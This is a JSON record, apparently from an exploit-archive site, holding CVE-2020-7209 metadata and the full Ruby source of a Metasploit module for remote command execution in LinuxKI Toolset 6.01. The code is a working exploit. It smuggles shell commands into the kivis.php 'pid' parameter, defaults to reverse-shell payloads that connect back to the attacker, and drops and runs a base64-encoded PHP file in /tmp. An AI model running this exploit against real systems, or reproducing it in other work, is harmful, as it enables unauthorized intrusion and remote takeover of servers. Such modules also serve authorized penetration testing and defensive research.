{"exploit":{"id":"MSF-linux--http--linuxki_rce","name":"LinuxKI Toolset 6.01 Remote Command Execution","description":"This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution. The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.","cves":["CVE-2020-7209"],"author":"Cody Winkler, numan türle","published":"2020-05-17","platform":"Linux,PHP,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/linux/http/linuxki_rce.rb","path":"modules/exploits/linux/http/linuxki_rce.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"linuxki_rce.rb","vulnerabilities":[{"id":"CVE-2020-7209","state":"PUBLISHED","title":null,"titleSource":null,"description":"LinuxKI v6.0-1 and earlier is vulnerable to an remote code execution which is resolved in release 6.0-2.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2020-7209","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2020-7209"},"updatedAt":"2024-08-04T09:25:47.978Z","retrievedAt":"2026-11-26T05:24:43.077Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--linuxki_rce.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--linuxki_rce","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--linuxki_rce/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--linuxki_rce/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::PhpEXE\n  include Msf::Exploit::FileDropper\n  include Msf::Exploit::CmdStager\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'LinuxKI Toolset 6.01 Remote Command Execution',\n        'Description' => %q{\n          This module exploits a vulnerability in LinuxKI Toolset <= 6.01 which allows remote code execution.\n          The kivis.php pid parameter received from the user is sent to the shell_exec function, resulting in security vulnerability.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Cody Winkler', # discovery and poc\n          'numan türle' # msf exploit\n        ],\n        'References' => [\n          ['EDB', '48483'],\n          ['CVE', '2020-7209'],\n          ['PACKETSTORM', '157739'],\n          ['URL', 'https://github.com/HewlettPackard/LinuxKI/commit/10bef483d92a85a13a59ca65a288818e92f80d78']\n        ],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Automatic (PHP In-Memory)',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP,\n              'Type' => :php_memory,\n              'Payload' => { 'BadChars' => \"'\" },\n              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Automatic (PHP Dropper)',\n            {\n              'Platform' => 'php',\n              'Arch' => ARCH_PHP,\n              'Type' => :php_dropper,\n              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }\n            }\n          ],\n          [\n            'Automatic (Unix In-Memory)',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :unix_memory,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }\n            }\n          ],\n          [\n            'Automatic (Linux Dropper)',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :linux_dropper,\n              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }\n            }\n          ]\n        ],\n        'DisclosureDate' => '2020-05-17',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'Reliability' => [ REPEATABLE_SESSION ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'The path to the web application', '/']),\n    ])\n    register_advanced_options([\n      OptString.new('WritableDir', [true, 'Writable dir for droppers', '/tmp'])\n    ])\n  end\n\n  def check\n    findstr = rand_str\n    res = execute_command(\"echo '#{findstr}'\")\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n    fail_with(Failure::UnexpectedReply, \"#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}\") if (res.code == 404) || (res.code == 403)\n    if (res.code == 200) && res.body.include?(findstr)\n      return CheckCode::Vulnerable('The target is vulnerable')\n    end\n\n    CheckCode::Safe('The target is not vulnerable')\n  rescue ::Rex::ConnectionError\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n  end\n\n  def execute_command(cmd, _opts = {})\n    send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'linuxki/experimental/vis/', 'kivis.php'),\n      'vars_get' => {\n        'type' => 'kitrace',\n        'pid' => \"1;#{cmd};\"\n      }\n    })\n  rescue ::Rex::ConnectionError\n    fail_with(Failure::Unreachable, \"#{peer} - Could not connect to the web service\")\n  end\n\n  def exploit\n    print_status(\"Executing #{target.name} target\")\n\n    print_status('Sending payload...')\n\n    case target['Type']\n    when :php_memory\n      execute_command(\"php -r '#{payload.encoded}'\")\n    when :unix_memory\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager(linemax: 1_500)\n    when :php_dropper\n      dropper\n    end\n  end\n\n  def dropper\n    php_file = \"#{rand_str}.php\"\n    tmp_file = Pathname.new(\n      \"#{datastore['WritableDir']}/#{php_file}\"\n    ).cleanpath\n\n    dropper = get_write_exec_payload(\n      writable_path: datastore['WritableDir'],\n      unlink_self: true # Worth a shot\n    )\n\n    dropper = Rex::Text.encode_base64(dropper)\n\n    register_file_for_cleanup(tmp_file)\n\n    execute_command(\"echo #{dropper} | base64 -d | tee #{tmp_file}\")\n    execute_command(\"php #{tmp_file}\")\n  end\n\n  def rand_str\n    Rex::Text.rand_text_alphanumeric(8..42)\n  end\nend\n","sha256":"8c2c89d7d06e8d250c7b51cb51ec95bb2b465d914ef7ef69404d02ed9943ece4","bytes":4960,"fetchedAt":"2026-11-27T00:14:59.164Z","encoding":"utf-8 (display only; download retains original bytes)"}